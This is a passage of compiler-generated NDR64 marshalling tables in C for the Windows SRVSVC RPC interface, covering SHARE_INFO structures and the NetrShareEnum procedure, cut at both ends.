__midl_frag244 =\n{ \n/* *SHARE_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag245\n};\n\nstatic const __midl_frag243_t __midl_frag243 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag240\n    }\n};\n\nstatic const __midl_frag240_t __midl_frag240 =\n{ \n/* *_SHARE_INFO_0 */\n    { \n    /* *_SHARE_INFO_0 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SHARE_INFO_0 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag200\n    }\n};\n\nstatic const __midl_frag239_t __midl_frag239 =\n{ \n/* SHARE_INFO_0_CONTAINER */\n    { \n    /* SHARE_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag243,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag238_t __midl_frag238 =\n{ \n/* *SHARE_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag239\n};\n\nstatic const __midl_frag236_t __midl_frag236 =\n{ \n/* SHARE_ENUM_UNION */\n    { \n    /* SHARE_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag238,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag244,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag249,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag254,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag259,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag264,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag235_t __midl_frag235 =\n{ \n/* _SHARE_ENUM_STRUCT */\n    { \n    /* _SHARE_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag236\n        },\n        { \n        /* _SHARE_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag234_t __midl_frag234 =\n{ \n/* *_SHARE_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag235\n};\n\nstatic const __midl_frag231_t __midl_frag231 =\n{ \n/* NetrShareEnum */\n    { \n    /* NetrShareEnum */      /* procedure NetrShareEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag235,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag227_t __midl_frag227 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag224\n    }\n};\n\nstatic const __midl_frag225_t __midl_frag225 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 64 /* 0x40 */\n    }\n};\n\nstatic const __midl_frag224_t __midl_frag224 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag225\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    }\n};\n\nstatic const __midl_frag218_t __midl_frag218 =\n{ \n/* _SHARE_INFO_503_I */\n    { \n    /* _SHARE_INFO_503_I */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_503_I */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 80 /* 0x50 */,\n        0,\n        0,\n        &__midl_frag227,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    }\n};\n\nstatic const __midl_frag213_t __midl_frag213 =\n{ \n/* _SHARE_INFO_501 */\n    { \n    /* _SHARE_INFO_501 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_501 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag216,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* _SHARE_INFO_501 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag211_t __midl_frag211 =\n{ \n/* _SHARE_INFO_1005 */\n    { \n    /* _SHARE_INFO_1005 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _SHARE_INFO_1005 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag209_t __midl_frag209 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag741\n    }\n};\n\nstatic const __midl_frag205_t __midl_frag205 =\n{ \n/* _SHARE_INFO_1501_I */\n    { \n    /* _SHARE_INFO_1501_I */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_1501_I */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag209,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag200_t __midl_frag200 =\n{ \n/* _SHARE_INFO_1004 */\n    { \n    /* _SHARE_INFO_1004 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_1004 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag813\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag198_t __midl_frag198 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag195\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */\n    }\n};\n\nstatic const __midl_frag195_t __midl_frag195 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag196\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    }\n};\n\nstatic const __midl_frag190_t __midl_frag190 =\n{ \n/* _SHARE_INFO_502_I */\n    { \n    /* _SHARE_INFO_502_I */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_502_I */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        0,\n        0,\n        &__midl_frag198,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n          